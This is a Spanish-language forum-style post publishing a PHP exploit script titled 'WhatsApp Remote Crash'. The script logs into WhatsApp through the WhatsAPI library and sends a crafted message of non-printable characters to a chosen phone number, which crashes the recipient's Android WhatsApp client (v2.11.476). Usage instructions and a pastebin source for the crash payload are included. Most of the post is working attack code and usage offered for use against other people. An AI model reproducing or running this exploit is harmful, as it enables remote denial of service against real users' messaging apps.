[PHP] Crashear WhatsApp usando WhatsAPI EXPLOINT






Modo de uso de script
root@rodrix:~# php wacrash.php 549XXXXXXXXXX

Recuerden que el num de contacto que van a crashear debe ser de 13 dígitos. En la variable $msg deben copiar y pegar el contenido del pastebin que dejo en el comentario, donde se encuentran los caracteres especiales para crashear whatsapp.

Código: PHP
  1.  
  2. /*
  3.  *      Title: WhatsApp Remote Crash with PHP
  4.  *      Product: WhatsApp
  5.  *      Vendor Homepage: http://www.whatsapp.com
  6.  *      Vulnerable Version(s): 2.11.476
  7.  *      Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
  8.  *      Mirror: http://pastebin.com/Ktu45GN0
  9.  *      Date: 05/02/2015
  10.  *
  11.  *      Author Exploit:
  12.  *              Rodrigo Avila - @el_rodrix -
  13.  *      Credits:
  14.  *              Daniel Godoy - @0xhielasangre -
  15.  *              Gonza Cabrera - @Gonnza_Cabrera -
  16.  *
  17.  *      Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
  18.  *                  http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
  19.  *                 http://www.exploit-db.com/exploits/35637/
  20.  *                 http://www.exploit-db.com/exploits/32865/
  21.  *
  22.  *      Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
  23.  *      It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
  24.  *      engaging in an interactive conversation over WhatsApp protocol
  25.  */
  26.  
  27. require 'src/whatsprot.class.php';
  28.  
  29. function fgets_u($pStdn)
  30. {
  31.     $pArr = array($pStdn);
  32.  
  33.     if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
  34.         print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
  35.  
  36.         return FALSE;
  37.     } elseif ($num_changed_streams > 0) {
  38.         return trim(fgets($pStdn, 1024));
  39.     }
  40.     return null;
  41. }
  42. $nickname = "RemoteExecution";
  43. $sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
  44. $imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
  45. $password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
  46. $msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
  47. $usage = "USAGE: ".$_SERVER['argv'][0]." \n \tphone: full number including country code, without '+' or '00'\n";
  48.  
  49. if ($argc < 2) {
  50.     echo $usage;
  51.     exit(1);
  52. }
  53.  
  54. if (is_numeric($_SERVER['argv'][1])){
  55.         if (strlen($_SERVER['argv'][1]) == 13){
  56.                 $dst = $_SERVER['argv'][1];
  57.                 echo "[] Logging in as '$nickname' ($sender)\n";
  58.                 $wa = new WhatsProt($sender, $imei, $nickname, false);
  59.  
  60.                 $wa->connect();
  61.                 $wa->loginWithPassword($password);
  62.  
  63.                 echo "\n[] Send message to $dst: $msg\n";
  64.                 $wa->sendMessage($dst , $msg);
  65.                 echo "\n";
  66.                 exit(0);
  67.         }else{
  68.                 echo $usage;
  69.         }
  70. }else{
  71.         echo $usage;
  72. }
  73.  

Adjunto screenshot del momento que crashea el app de whatsapp en Android. Para esta PoC se utilizo un Samsung Galaxy S4, con WhatsApp+ v6.65.

Información del dispositivo:



WhatsApp+ crashea:



WhatsApp+ crashea:



Información de WhatsApp app:

SHARE ON: